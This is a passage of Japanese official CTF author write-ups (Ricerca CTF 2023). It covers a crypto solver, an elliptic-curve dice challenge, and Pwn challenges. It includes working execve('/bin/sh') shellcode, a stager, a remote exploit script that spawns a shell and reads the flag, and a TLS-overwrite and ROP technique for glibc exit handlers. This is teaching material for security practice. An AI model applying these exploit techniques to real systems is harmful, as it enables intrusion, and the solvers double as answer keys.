        u, v = v, u

    if 2*v.degree() < u.degree() or u.degree() < min_degree:
        q = u // v
        return matrix([[1, -q], [0, 1]])

    m = u.degree() // 2
    b0, c0 = pdivmod(u, x^m)
    b1, c1 = pdivmod(v, x^m)

    R = hgcd(b0, b1)
    DE = R * matrix([[u], [v]])
    d, e = DE[0,0], DE[1,0]
    q, f = pdivmod(d, e)

    g0 = e // x^(m//2)
    g1 = f // x^(m//2)

    S = hgcd(g0, g1)
    return S * matrix([[0, 1], [1, -q]]) * R

def pgcd(u, v):
    """
    fast implementation of polynomial GCD
    using hgcd
    """
    if u.degree() < v.degree():
        u, v = v, u

    if v == 0:
        return u

    if u % v == 0:
        return v

    if u.degree() < 10:
        while v != 0:
            u, v = v, u % v
        return u

    R = hgcd(u, v)
    B = R * matrix([[u], [v]])
    b0, b1 = B[0,0], B[1,0]
    r = b0 % b1
    if r == 0:
        return b1

    return pgcd(b1, r)

with open("../distfiles/output.txt") as f:
    exec(f.readline())
    exec(f.readline())
    exec(f.readline())
    C1 = bytes.fromhex(f.readline())
    C2 = bytes.fromhex(f.readline())
    C3 = bytes.fromhex(f.readline())

# s1 = a*s + b mod n
# s2 = a^2*s + a*b + b mod n
# s3 = a^3*s + a^2*b + a*b + b mod n

# f1 = s1^e - c1 mod n
# f2 = s3^e - c2 mod n

M1 = b"The quick brown fox jumps over the lazy dog"
M3 = b"<https://translate.google.com/?sl=it&tl=en&text=ricerca>"
c1 = int.from_bytes(C1, 'big') ^^ int.from_bytes(M1, 'big')
c3 = int.from_bytes(C3, 'big') ^^ int.from_bytes(M3, 'big')

print("[+] Creating polynomial...")
F = Zmod(n)
PR.<x> = PolynomialRing(F)
e = 65537

f = (a*x + b)^e - c1
g = (a^3*x + a^2*b + a*b + b)^e - c3

print("[+] Calculating half-GCC...")
h = pgcd(f, g)
s0 = F(-h.monic()[0])

s1 = (a * s0 + b) % n
s2 = (a * s1 + b) % n
key = pow(s2, e, n)
m = int(key) ^^ int.from_bytes(C2, 'big')

print(int.to_bytes(m, 128, 'big').lstrip(b'\x00'))
 

dice-vs-kymn

問題著者:ptr-yudai, keymoon / Writeup著者:ptr-yudai

問題概要

この問題は、keymoonの振ったサイコロの目を77回連続で当てることでフラグを得られます。

サイコロの目は次の手順で生成されます。

  1. 64ビット程度の乱数$x$を生成する。
  2. ユーザーが整数$a (\neq 0), b (\neq 0)$を設定する。
  3. $x$が楕円曲線$y^2 = x^3 + ax + b \mod p$上の点として有効になるように、256ビット程度のランダムな素数$p$を生成する。
  4. $G=(x, y)$(yはlift_xにより決定されるどちらかの座標)とする。
  5. 乱数$k$で$Q=kG$を計算し、$G_y, Q_y$を開示する。
  6. $k + 1 \mod p$がkeymoon側のサイコロの目
  7. ユーザーが自由にサイコロの目を設定する。

keymoonのサイコロの目と自分のサイコロの目の和が7になれば次のラウンドに進めます。つまり、毎ラウンドで$k$の値を当てる問題になります。もちろん、この問題は楕円曲線上の離散対数問題である上、$p$の値がわからず楕円曲線が構築できないため解けません。

解法

等分多項式の計算

$Q=kG$の$k \mod 6$の値がわかれば、サイコロのどの目が出るかがわかります。 したがって、ベースポイント$G$が$7G = G$と巡回するように楕円曲線のパラメータ$a, b$を設定する必要があります。今回の場合$6G=\mathcal{O}$とも表せます。

では、$nP = \mathcal{O}$を満たすためにはどうすれば良いでしょうか。 このような点は$n$-ねじれ点($n$-torsion point)と呼ばれ、楕円曲線の加法公式から$n$-ねじれ点の$x$座標を根に持つ多項式が計算できます。また、この多項式を等分多項式と呼びます。

SageMathの場合、楕円曲線Eに対してE.division_polynomial(n)として等分多項式$f_{n}(x) \in \mathbb{F}_{p}[x]$を求められますが、今回は$a, b$が未定で$p$が未知なので、このメソッドは使えません。

代わりに、$a,b$を変数とした整数等分多項式$f_{6}(a,b) \in \mathbb{Z}[a,b]$を計算します。$\mathbb{Z}$上で等分多項式の根が求められれば、その値は$\mathbb{F}_p$上でも等分多項式の根になっているはずです。

等分多項式を$\mathbb{Z}$上で実装してみましょう。

from functools import cache

@cache
def division_polynomial(a, b, x, m):
    f = lambda m: division_polynomial(a, b, x, m)
    if m == 0:
        return 0
    elif m == 1 or m == 2:
        return 1
    elif m == 3:
        return 3*x^4 + 6*a*x^2 + 12*b*x - a^2
    elif m == 4:
        return 2*(x^6 + 5*a*x^4 + 20*b*x^3 - 5*a^2*x^2 - 4*a*b*x - 8*b^2 - a^3)
    elif m % 2 == 0:
        n = m // 2
        return (f(n+2)*f(n-1)^2 - f(n-2)*f(n+1)^2) * f(n)
    else:
        n = (m-1) // 2
        F = 4*(x^3 + a*x + b)
        if n % 2 == 1:
            return f(n+2)*f(n)^3 - F^2*f(n-1)*f(n+1)^3
        else:
            return F^2*f(n+2)*f(n)^3 - f(n-1)*f(n+1)^3

PR.<a, b, x> = ZZ[]
f6 = division_polynomial(a, b, x, 6)
print(f6)

実行すると、次のような多項式になります。


 与えられた$x$を代入して生成された多項式の根$a, b \in \mathbb{Z}$を求めるのが問題です。 上記の多項式をfactor関数で因数分解すると、次のようになります。


 もっとも簡単な式は

$h_x(a, b) = 3x^4 + 6ax^2 - a^2 + 12bx$

ですが、これは3等分多項式なので使えません。したがって、

$h_x(a, b) = x^{12} + 22ax^{10} - 165a^2x^8 + 220bx^9 - 92a^3x^6 - 528abx^7 - 185a^4x^4 + 264a^2bx^5 - 1776b^2x^6 - 90a^5x^2 - 80a^3bx^3 - 960ab^2x^4 - 3a^6 - 132a^4bx - 624a^2b^2x^2 - 320b^3x^3 - 96a^3b^2 - 896ab^3x - 512b^4$

を採用します。 $h_x(a,b)$が恒等的に0になるような$a, b$を求める必要がありますが、$a, b$は$x$に依存するためこのような$a, b$を求めるのは困難です。

見通しをよくするために、まずは3等分、4等分について考えてみます。

$f_3(x,a,b) = 3x^4 + 6ax^2 - a^2 + 12bx$ $h_4(x,a,b) = 2x^6 + 10ax^4 - 10a^2x^2 + 40bx^3 - 2a^3 - 8abx - 16b^2$

いま$a, b$は$x$の関数ですが、楕円曲線の式より$a,b$の次数をそれぞれ2次,3次に限定してみましょう。つまり、$a(x)=a'x^2, b(x)=b'x^3$と置きます。これにより等分多項式を$x$の累乗と$x$を含まない式に因数分解できるので、$a,b$に関する$x$と独立した問題として扱えます。

$f_3(a,b)=x^4(-a^2 + 6a + 12b + 3)$

$f_4(a,b)=x^6(-2a^3 - 10a^2 - 8ab - 16b^2 + 10a + 40b + 2)$

これらの式はいずれも整数解を持ちます。そこで、先程採用した式$h_x$でも同様に$a,b$を設定してみましょう。このとき解くべき式は次のような形をしています。

$h_x(a,b)=x^{12}(-3a^6 - 90a^5 - 132a^4b +\cdots)$

8次式は解の公式を持ちません。係数のオーダーが小さいことから解も小さいことに期待して、解を探索してみましょう。

PR.<a, b, x> = ZZ[]
f3 = division_polynomial(a, b, x, 3)
f6 = division_polynomial(a, b, x, 6)
ff = (f6 / f3)(x=1)

for aa in range(0x1000):
    for bb in range(0x1000):
        if ff(a=aa, b=bb) == 0:
            print(f"Found: (a, b) = ({aa}, {bb})")
        elif ff(a=aa, b=-bb) == 0:
            print(f"Found: (a, b) = ({aa}, {-bb})")
        elif ff(a=-aa, b=bb) == 0:
            print(f"Found: (a, b) = ({-aa}, {bb})")
        elif ff(a=-aa, b=-bb) == 0:
            print(f"Found: (a, b) = ({-aa}, {-bb})")

すぐに解が見つかります。

$ sage test.sage
Found: (a, b) = (-3, 2)
Found: (a, b) = (-15, -22)

確認してみましょう。

print(f3(a=-3*x^2, b=2*x^3))
print(f6(a=-3*x^2, b=2*x^3))
print(f3(a=-15*x^2, b=-22*x^3))
print(f6(a=-15*x^2, b=-22*x^3))

探索で見つかった(-3, 2)は3等分多項式の解にもなってしまっているので使えません。(-15, -22)は、6等分多項式の解ですが3等分多項式の解にはなっていないため、理想的です。

0
0
-576*x^4
0

したがって、$a=-15x^2, b=-22x^3$と置くと、与えられた$x$が$p$に関わらず6等分点を生成することが分かりました。

2G,3G,4G,5Gの特性

等分多項式を満たす$a,b$を与えれば、$Q=kG$の$G$と$Q_y$をサーバーから貰えることになります。

$k\equiv 1 \mod 6$のとき、$Q=G$より、$Q_y=G_y$を確認することで判断できます。 $k\equiv 0 \mod 6$のとき、$Q=\mathcal{O}$より、$Q_y=1$を確認することで判断できます。(無限遠点$Q=(0:1:0)$に対してSageMathはQ[1]と記述すると$Z$に関係なく$Y$の値を返す。)

では、$k \mod 6$が2,3,4,5のときはどのように判定すれば良いでしょうか。

6-ねじれ点に対して、今回の楕円曲線上で$y$座標がどのような特性を持つか調べるため、シンボリックに$2G$から$5G$を計算してみましょう。 剰余$p$がわかっていない状態で楕円曲線の演算をしなくてはならないので、ここでは有理環$\mathbb{Q}$上で点$G(x,y)$がどこに移るかを調べます。

PR.<x, y> = PolynomialRing(QQ)
a = -15*x^2
b = -22*x^3

def reduce_zz(f):
    poly = 0
    for coeff, biv in list(f):
        while biv % y^2 == 0:
            biv /= y^2
            biv = biv.numerator()
            biv *= x^3 + a*x + b
        poly += coeff * biv
    return poly

def reduce_qq(f):
    return reduce_zz(f.numerator()) / reduce_zz(f.denominator())

x1, y1 = x, y

x2 = ((3*x1^2 + a) / (2*y1))^2 - 2*x1
y2 = (3*x1^2 + a) / (2*y1) * (x1 - x2) - y1
x2, y2 = reduce_qq(x2), reduce_qq(y2)
print("[ 2G ]")
print("x:", x2)
print("y:", y2)

for k in range(3, 6):
    x1, y1 = x2, y2
    x2 = ((y1 - y) / (x1 - x))^2 - x1 - x
    y2 = ((y1 - y) / (x1 - x)) * (x1 - x2) - y1
    x2, y2 = reduce_qq(x2), reduce_qq(y2)
    print(f"[ {k}G ]")
    print("x:", x2)
    print("y:", y2)

実行結果は次のようになります。

[ 2G ]
x: -3*x
y: (-3456*x^3)/(-288*y)
[ 3G ]
x: -2*x
y: 0
[ 4G ]
x: -3*x
y: 1/3*y
[ 5G ]
x: x
y: -y

つまり、$\mathbb{F}_p$の$p$にかかわらず、次のように点の座標が遷移することがわかります。

$$ G = (x, y)\\ 2G = (-3x, 12x^3/y)\\ 3G = (-2x, 0)\\ 4G = (-3x, y/3)\\ 5G = (x, -y) $$

サーバーからは$y$座標が与えられるので、ひとまず0かどうかを調べれば$3G$は判定できます。

2G,4G,5Gの判別

ここまでの調査から、$2G$の$y$座標は$12x^3/y$、$4G$の$y$座標は$y/3$、$5G$の$y$座標は$-y$になることがわかりました。これは$\mathbb{Q}[x,y]$上での計算ですが、$\mathbb{F}_p[x,y]$にそのまま移しても除算を逆元の積を見れば同一視できます。

与えられた$Q_y$が$2G$のものか$4G$のものかを判定できれば、どれにも当てはまらないものが$5G$なので、まずは$2G$と$4G$の判定を考えます。

いま持っている情報は、

$x_1 = G_x, y_1 = G_y$と、$y_2=(2G)_y$、$y_4=(4G)_y$あるいは$y_5=(5G)_y$です。

まず、楕円曲線の公式から

$y_1^2 \equiv x_1^3 + ax_1 + b \equiv x_1^3 - 15x_1^3 - 22x_1^3 \equiv -36x_1^3 \mod p$

です。したがって、ある整数$k_1$について

$y_1^2 + 36x_1^3 = k_1p$

と表せます。...① 次に、サイコロの目が2の場合、すなわち$y_2$を持っている場合を考えます。このとき、

$y_2 \equiv \cfrac{12x_1^3}{y_1} \mod p$

より、ある整数$k_2$について

$y_2y_1 - 12x_1^3 = k_2p$

と表せます。...②

同様に、$y_4$を持っている場合、整数$k_4$について

$3y_4 - y_1 = k_3p$

が成り立ちます。...③

①②③より、どちらのものか不明な$y$座標$y_k$について

$s = \gcd(y_1^2 + 36x_1^3, y_ky_1 - 12x_1^3)$

$t = \gcd(y_1^2 + 36x_1^3, 3y_k - y_1)$

を計算すれば、$y_k=y_2$なら$p|s$、$y_k=y_4$なら$p|t$が成り立ちます。

かならずしも$s, t$が現実的な時間で素因数分解できるとは限りませんが、$p$を素因数に含む場合これらの値は十分に大きくなるはずです。 したがって、$s, t$を計算して十分に大きい値が出れば、それぞれの場合で$2G, 4G$であったことが分かり、どちらも小さい値になった場合は$5G$であったことが分かります。

ソルバ

ここまでの議論を整理すると、次のようにほぼ100%でサイコロの出目を判定できます。

from ptrlib import *
import os
from tqdm import tqdm

HOST = os.getenv("HOST", "localhost")
PORT = int(os.getenv("PORT", 5963))

# sock = Process(["sage", "../distfiles/server.sage"])
sock = Socket(HOST, PORT)

for round in tqdm(range(77)):
    Gx = int(sock.recvlineafter("x: "))
    a = -15*Gx**2
    b = -22*Gx**3
    sock.sendlineafter("a: ", a)
    sock.sendlineafter("b: ", b)

    commitment = sock.recvregex("\((\d+), (\d+)\)")
    Gy, Qy = int(commitment[0]), int(commitment[1])
    print(f'{round=} {Gy=}, {Qy=}')
    k1p = Gy**2 - Gx**3 - a*Gx - b

    if Qy == 0: # 3*G
        kymn_dice = 4

    elif Qy == 1: # 6*G
        kymn_dice = 1

    elif Qy == Gy: # 1*G
        kymn_dice = 2

    else:
        k2p = Qy * (-288*Gy) + 3456*Gx**3
        p = gcd(k1p, k2p)
        if p > 1<<200: # 2*G
            kymn_dice = 3

        else:
            k2p = Qy * 3 - Gy
            p = gcd(k1p, k2p)
            if p > 1<<200: # 4*G
                kymn_dice = 5

            else:
                kymn_dice = 6

    sock.sendlineafter("Your dice: ", 7 - kymn_dice)

    l = sock.recvline()
    if b'You lucky bastard' not in l:
        logger.error("Bad luck!")
        sock.close()
        break

print(sock.recvuntil(b'}'))

 

Ricerca CTF 2023 作問者Writeup [Pwn編]

この記事は、2023年4月22日に弊社が開催したRicerca CTF 2023の公式Writeupです。今回はPwnカテゴリの問題のうち、warmupを除く問題の解法を紹介します。

配布ファイルやスクリプトは以下のGitHubリポジトリを参照してください。

https://github.com/RICSecLab/ricerca-ctf-2023-public

  また、他のジャンルのWriteupは以下の投稿から読むことができます。

NEMU

Writeup著者:keymoon

問題概要

独自アーキテクチャの VM が実装されたファイルが渡されます。命令は以下の 6 つしか存在していません。

Welcome to NEMU!
We now only have following 6 instructions:
     1) LOAD [imm]: Load value [imm] into ACC register
     2) MOV  [reg]: Copy data stored in AC register into [reg] register
     3) INC  [reg]: Increment the value stored in [reg] register
     4) DBL  [reg]: Double the value stored in [reg] register
     5) ADDI [imm]: Add value [imm] to the value of ACC register
     6) ADD  [reg]: Add value stored in [reg] register to the value of ACC register

また、レジスタはアキュムレータと汎用レジスタ 3 つのみが 32 bit レジスタとして存在しています。

特筆すべきこととして、多態性を表現するために nested function と呼ばれる GCC 拡張の文法を用いてる点が挙げられます。

switch (readint()) {
  case 1: {
    void load(uint64_t imm) { a = imm; }
    op_fp = load;
    read_fp = readimm;
    break;
  }
...
  case 6: {
    void add(uint64_t* reg) { a += *reg; }
    op_fp = add;
    read_fp = readreg;
    break;
  }
  default:
    exit(1);
}
printf("operand: ");
((void (*)(uint64_t))op_fp)(((uint64_t(*)())read_fp)());

解法

問題の観察

まず、配布された chall ファイルのセキュリティ機構を確認してみましょう。checksec コマンドを用いて確認すると、以下のとおりであると確認できます。

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX disabled
PIE:      PIE enabled
RWX:      Has RWX segments

PIE や RELRO といった CTF でよく無効化されるセキュリティ機構は有効化されているようですが、一つ特筆すべきことがあります。それは、このバイナリには RWX セグメントが存在しているということです。

RWX セグメントとは、書き込み可能でかつ実行も可能なセグメント(メモリ領域)のことを指します。これは、現在の x86-64 バイナリでは特別な理由なく用いられることはありません。

このようになっている理由の一つとして、不用意に RWX セグメントを用いることはセキュリティ的に脆弱であることが挙げられます。もしもプログラムに脆弱性があり、意図された範囲外のデータを書き換えられたとしましょう。これを用いて RWX セグメント内の機械語を書き換えると、その機械語が呼ばれるタイミングでプログラムの挙動を攻撃者に乗っ取られてしまうことになります。他にも、Shellcode を用いた攻撃の起点となるなどの問題も挙げられます。

nested function と RWX セグメント

では、どうしてこのプログラムには RWX セグメントが存在しているのでしょうか。それは、この問題で用いられている機能である nested function を実現する際の都合によるものです。

例えば、以下のようなプログラムを考えてみましょう。このプログラムでは、入力したメッセージをそのまま出力することが期待されます。

#include <stdio.h>
void f(void (*fun)(void)) {
    fun();
}

int main() {
    char msg[10];
    scanf("%9s", msg);
    void printmsg() {
        puts(msg);
    }
    f(printmsg);
}

しかし、関数fに直接printmsg関数のポインタを渡した場合、msgという変数をどこから取得すればよいかが分からなくなってしまいます。

そこで、printmsg関数が宣言された箇所のスタックポインタの値をr10レジスタに格納し、その後にprintmsg関数を呼び出すトランポリン関数を関数fに渡す関数として内部的に生成しています。


この関数がstack上に生成されることが、stack が実行可能であった理由です。

脆弱性

この問題の脆弱性は、mov や inc といった操作でレジスタ変数が 64 bit として扱われていることにあります。この脆弱性がある関数は、以下の 4 関数です。

void mov(uint64_t* reg) { *reg = a; }
void inc(uint64_t* reg) { *reg += 1; }
void dbl(uint64_t* reg) { *reg *= 2; }
void add(uint64_t* reg) { a += *reg; }

これらの関数を用いて reg ポインタの先の値を任意の 64 bit の値に設定することができれば、レジスタ変数の後ろ 32 bit を任意の値に書き換えることができることになります。これは、dbl関数を用いることで実現することができます。

では、書き換えられる値は何の値なのでしょうか?結論から言ってしまうと、この値は add 関数のトランポリン関数の先頭の機械語です。よって、これを書き換えてからadd関数を呼ぶことで任意の 32 bit = 4 byte を Shellcode として実行させることができることが分かります。

Exploit

上で発見した脆弱性を用いて、shellcode を実行してみましょう。まず、4 byte ではあまりにも短すぎるので、まず stack 上で書き込むことができる他の領域にジャンプする命令を書きます。ジャンプ範囲が符号付き byte に収まるショートジャンプであれば eb xxの 2 byte で表すことができるので、これが実現できそうです。

ジャンプ先としては、レジスタ変数が密集している箇所が理想的でしょう。ここであれば、4 byte * 4=16 byte の値を自由にコントロールすることができます。

次に、この 16 byte を用いて shellcode を書きます。execve(”/bin/sh”)を行うshellcode は以下のような処理を行えば良いです。

mov rax, 59; syscall 番号 (sys_execve)
mov rdi, (/bin/sh のアドレス); 第1引数(filename)
mov rsi, 0; 第2引数(argv)
mov rdx, 0; 第3引数(envp)
syscall;

これを実現する方法はいくつかありますが、ここでは 2 種類の方針を紹介します。

方針1: 短い shellcode を書く

シンプルな分かりやすい方針ですが、16 byte という制限があるために見た目よりも難しい方針です。まず、add 関数が呼ばれた際のレジスタの値を確認してみましょう。add(a) という命令を実行した際の値を確認すると、以下のようになっています。

rax  0x7ffd372ac670
rdi  0x7ffd372ac670
rsi  0x0
rdx  0x0

これを見ると分かるように、rsirdxは既に 0 になっているために調整する必要がありません。また、rdiaレジスタの変数を指しています。これは、add関数への第一引数としてaレジスタの変数へのポインタを渡しているためです。

よって、rdi/bin/sh\x00 と解釈できる値をレジスタに格納した後、そのレジスタをaddの引数として渡すことで調整することができます。なお、ここでレジスタを 8 byte 消費してしまったため、使用できる byte 数は 16 byte-8 byte=8 byte となります。

これで、raxのポインタのみを調整すればよいことになりました。素直にmov rax, 59; と書くと 7 byte も使用してしまうので、ここでは push 59; pop rax のようにして 3 byte で処理を実現します。これとsyscallの 2 byte を合わせて、以下のような 5 byte で Shellcode を実現することができます。

6a 3b  push   0x3b
58     pop    eax
0f 05  syscall

方針2: stager を書く

stager とは、より長いペイロードを読み込むための短いコードのことです。今回は、以下のようなstagerを書くことを目標とします。

mov rax, 0; syscall 番号 (sys_read)
mov rdi, 0; 第1引数(fd)
mov rsi, (ペイロードを読み込むアドレス); 第2引数(buf)
mov rdx, (大きな値); 第3引数(count)
syscall;

これも素直に書くと 16 byte を優に超えてしまうので、短くするための工夫をします。

先程見たとおり、addが呼ばれる際にはrdiがレジスタのポインタを指しています。よって、rsirdiからmovすることで調整することにします。rdxレジスタには、dhレジスタに値 0xff を読み込むことで0xff00という値とします。

次に、rdiraxを0にしなければいけません。レジスタを0にセットするという処理は、xor命令を用いて自身とxorさせることで実現されることが多いです。今回もこの手法を用いることとします。

これにより、以下のような 11 byte で stager を実現することができます。

48 89 fa  mov    rdx,rdi
48 89 fe  mov    rsi,rdi
31 c0  xor    eax,eax
31 ff  xor    edi,edi
0f 05     syscall

これで、長さの制約なく shellcode を読み込むことができるようになりました。後は、単純な shellcode を読み込めばよいだけです。

ソルバ

以下は方針1, 2の両方を実装したソルバになります。コード中のDO_STAGERフラグを変更することで、2つの方針が切り替えられます。なお、このソルバ ではptrlibを利用しています。

import os
from ptrlib import *

BIN_NAME = "../distfiles/chall"

chall = ELF(BIN_NAME)

HOST = os.getenv("HOST", "localhost")
PORT = int(os.getenv("PORT", 9002))

stream = remote(HOST, PORT)

LOAD, MOV, INC, DBL, ADDI, ADD  = 1, 2, 3, 4, 5, 6
AC, R1, R2, R3 = 'r0', 'r1', 'r2', 'r3'

def imm(val):
    return f'#{val}'

def op(opcode, operand):
    stream.sendlineafter(b'opcode: ', opcode)
    stream.sendlineafter(b'operand: ', operand)

def load_to_upper(reg, val):
    op(LOAD, imm(val))
    op(MOV,  reg)
    for _ in range(32): op(DBL, reg)

"""
memory layout:
| AC | R3 | R2 | R1 | trampoline
"""

DO_STAGER = False

if not DO_STAGER:
    payload = assemble(
        """
        push   59;
        pop    rax;
        syscall;
        """,
        bits=64
    ).ljust(8, b'\x00') + \
    b'/bin/sh\x00' + \
    b"\xeb\xee"
else:
    payload = assemble(
        """
        mov    dh, 0xff
        mov    rsi,rdi
        xor    eax,eax
        xor    edi,edi
        syscall
        """,
        bits=64
    ).ljust(16, b'\x90') + \
    b"\xeb\xee"

load_to_upper(R1, u32(payload[16:]))
load_to_upper(R2, u32(payload[12:16]))
load_to_upper(R3, u32(payload[8:12]))
load_to_upper(AC, u32(payload[4:8]))
op(LOAD, imm(u32(payload[0:4])))

if not DO_STAGER:
    op(ADD, R2)
else:
    op(ADD, AC)
    stream.sendline(
        b"\x90" * 16 + nasm(
            """
            mov rax, 59
            lea rdi, [rel s_binsh]
            xor rsi, rsi
            xor rdx, rdx
            syscall
            s_binsh: db "/bin/sh", 0
            """,
            bits=64
        )
    )

stream.sendline("cat /flag-*")
print(stream.recvuntil("}").decode()) 

 

safe thread

問題・Writeup著者:ptr-yudai

問題概要

この問題の本質部分は以下のコードだけです。

void *thread(void *_arg) {
  ssize_t len;
  char buf[0x10] = {};
  write(STDOUT_FILENO, "size: ", 6);
  read_n(buf, 0x10);
  len = atol(buf);
  write(STDOUT_FILENO, "data: ", 6);
  read_n(buf, len);
  exit(0);
}

int main() {
  alarm(180);
  pthread_create(&th, NULL, thread, NULL);
  pthread_join(th, NULL);
  return 0;
}

pthreadで動作するスレッド上で自明なスタックバッファオーバーフローがありますが、exitしているためリターンアドレスを書き換えても意味がありません。

解法

この問題でのスタックバッファオーバーフローを利用するには、スレッド特有の知識が必要になります。

TLSとスタック

pthreadで作成されるスレッドはcloneシステムコールにより作成され、メモリ空間を共有します。スタックやヒープは通常スレッドごとに機能的に独立しており、一方でグローバル変数はすべてのスレッドで共有されます。 また、Linux(やWindows)では TLS (Thread Local Storage) というスレッド固有の領域もあります。Linuxにおいて、TLSはfsレジスタを使って参照できます。例えば、次のコードはTLSの0x18バイト目から8バイトをraxレジスタに代入します。

mov rax, qword ptr [fs:0x18]

このコードは、異なるスレッドで動かすとそれぞれのスレッドのTLSを参照します。

では、gdbでTLSを見てみましょう。現在のコンテキストでのfsレジスタの値は$fs_baseに入っています。

pwndbg> p/x $fs_base
$2 = 0x7ffff7bff640
pwndbg> x/16xg 0x7ffff7bff640
0x7ffff7bff640: 0x00007ffff7bff640      0x00000000004052b0
0x7ffff7bff650: 0x00007ffff7bff640      0x0000000000000001
0x7ffff7bff660: 0x0000000000000000      0xeb983df70c185e00
0x7ffff7bff670: 0x7f6d85e655c2ed39      0x0000000000000000
0x7ffff7bff680: 0x0000000000000000      0x0000000000000000
0x7ffff7bff690: 0x0000000000000000      0x0000000000000000
0x7ffff7bff6a0: 0x0000000000000000      0x0000000000000000
0x7ffff7bff6b0: 0x0000000000000000      0x0000000000000000

例えばfs:0x28にはstack canaryの比較元(master canary)が入っています。 また、このスレッドのスタックポインタも確認してみましょう。

pwndbg> p/x $fs_base
$5 = 0x7ffff7bff640
pwndbg> p/x $rsp
$4 = 0x7ffff7bfee10
pwndbg> vmmap 0x7ffff7bfee10
             Start                End Perm     Size Offset File
    0x7ffff7400000     0x7ffff7c00000 rw-p   800000      0 [anon_7ffff7400] +0x7fee10

TLSもスタックも、連続した領域に確保されていることが分かります。また、TLSの方がスタックよりも高いアドレスにマップされています。 これは、TLS領域とpthreadが確保するスタックが連続してmmapされるためです。したがって、このスレッド中でスタックバッファオーバーフローが発生すると、TLS領域を破壊してしまう可能性があります。 このようにスレッドで発生したスタックバッファオーバーフローが別のメモリ領域を破壊するのを防ぐため、通常スレッドごとにガードページと呼ばれる書き込み不可のページが確保されますが、LinuxではTLSとスタックの間には確保されません。

__run_exit_handlersとPTR_MANGLE

スレッド上のスタックバッファオーバーフローにより、TLSを書き換えられることが分かりました。今回のコードではexit関数が呼ばれているので、TLSとexit関数の関わりについて見ていきましょう。

exit関数はプログラムを終了する関数ですが、単にexitシステムコールを呼び出しているわけではありません。exit関数は、まず__run_exit_handlersという関数を呼び出し、atexitで登録された終了ハンドラや、デストラクタなどを呼び出します。

例えば、以下のルーチンで_dl_finiの関数ポインタが呼ばれます。

case ef_cxa:
  /* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
 we must mark this function as ef_free.  */
  f->flavor = ef_free;
  cxafct = f->func.cxa.fn;
  arg = f->func.cxa.arg;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (cxafct);
#endif
  /* Unlock the list while we call a foreign function.  */
  __libc_lock_unlock (__exit_funcs_lock);
  cxafct (arg, status);
  __libc_lock_lock (__exit_funcs_lock);
  break;

ここで注目すべき点が、PTR_DEMANGLEの利用です。exit関数から呼ばれるデストラクタはPTR_MANGLEというマクロにより暗号化されています。

#  define PTR_MANGLE(reg)	xor %fs:POINTER_GUARD, reg;		      \\
				rol $2*LP_SIZE+1, reg
#  define PTR_DEMANGLE(reg)	ror $2*LP_SIZE+1, reg;			      \\
				xor %fs:POINTER_GUARD, reg

PTR_MANGLEでは、TLSに入った暗号鍵とポインタをxorし、0x11バイト左ローテートしています。今、TLSの内容は自由に書き換えられるので、暗号鍵も自由に設定できます。 しかし、この例では暗号化されたポインタは__exit_funcsというlibc内部の変数から取られており、ここは書き換えられず、かつlibcのアドレスはわからないため暗号鍵を操作できたところでクラッシュが起きるだけです。

少し前に呼び出される__call_tls_dtors関数を見てみましょう。この関数は名前の通り、TLS領域が破棄される際に呼び出されるべきデストラクタを呼ぶ関数です。通常は何も呼ばれません。


/* Call the destructors.  This is called either when a thread returns from the
   initial function or when the process exits via the exit function.  */
void
__call_tls_dtors (void)
{
  while (tls_dtor_list)
    {
      struct dtor_list *cur = tls_dtor_list;
      dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
      PTR_DEMANGLE (func);
#endif

      tls_dtor_list = tls_dtor_list->next;
      func (cur->obj);

      /* Ensure that the MAP dereference happens before
	 l_tls_dtor_count decrement.  That way, we protect this access from a
	 potential DSO unload in _dl_close_worker, which happens when
	 l_tls_dtor_count is 0.  See CONCURRENCY NOTES for more detail.  */
      atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
      free (cur);
    }
}
libc_hidden_def (__call_tls_dtors)

ここでも関数ポインタがPTR_MANGLEにより暗号化されていることが分かります。また、TLSのデストラクタなので当然ですが、tls_dtor_listは次のようにTLS内に定義されています。

static __thread struct dtor_list *tls_dtor_list;

したがって、スタックオーバーフローでtls_dtor_listと暗号鍵を適切に設定すれば、任意のアドレスを呼び出すことができます。

tls_dtor_listは適切なポインタである必要があります。dtor_list構造体は以下のようになっています。

typedef void (*dtor_func) (void *);

struct dtor_list
{
  dtor_func func;
  void *obj;
  struct link_map *map;
  struct dtor_list *next;
};

例えばtls_dtor_listを.bss周辺の内容が固定の領域に向けるとtls_dtor_list->funcも定数値になるため、暗号鍵を調整するだけで任意アドレスが呼び出せます。なお、今回のlibcではtls_dtor_listのアドレスがrbpに入ることにも注意しましょう。

アドレスリーク

任意アドレスの呼び出しはできましたが、libcのアドレスを持っていません。まずはプログラム本体のどこかにジャンプして、アドレスをリークする必要があります。 理想的にはwrite(1, &libcの何かのアドレス, 適当なバイト数)が呼び出したいので、write関数を使用している箇所の直前にジャンプしたいです。そのためには、RDI, RSI, RDXが適当な値にセットされている必要があります。 __call_tls_dtorsの関数呼び出しは次のようになっています。

rbptls_dtor_listなので、TLSを破壊する際に自由に操作できます。 rdirbp+8, rdxrbp+0x18から取られており、rsiは常に__exit_funcsを指しています。 したがって、rdiを0,1,2のいずれかに、rdxをサイズとして適当な値に設定できればアドレスリークができます。

.bssセクションを見てみましょう。

pwndbg> x/8xg 0x404008
0x404008:       0x0000000000000000      0x0000000000000000
0x404018 <th>:  0x00007ffff7bff640      0x0000000000000000
0x404028:       0x0000000000000000      0x0000000000000000
0x404038:       0x0000000000000000      0x0000000000000000

グローバル変数thのアドレスがあります。これをサイズとして利用するため、アドレスをずらして見てみます。

pwndbg> x/8xg 0x404008 - 3
0x404005:       0x0000000000000000      0x0000000000000000
0x404015:       0xfff7bff640000000      0x000000000000007f
0x404025:       0x0000000000000000      0x0000000000000000
0x404035:       0x0000000000000000      0x0000000000000000

したがって、tls_dtor_listを0x404005にセットすれば、

write(0, __exit_funcs, 0x7f);

が実行できます。

ROP

スレッド関数中のwriteでアドレスリークをしたら、そのままreadで再度BOFできます。したがって、またTLSを上書きして任意アドレスにジャンプできます。今回のバイナリではone gadgetが動かず、かつ引数が操作できないのでsystem関数も呼び出せません。 そこで、ROPをします。libcのアドレスがわかっているので、libc中の豊富なROP gadgetが使えます。add rsp, XX gadgetを使ってstack pivotすると、ROPできます。

ソルバ

このソルバ ではptrlibを利用しています。
from ptrlib import *

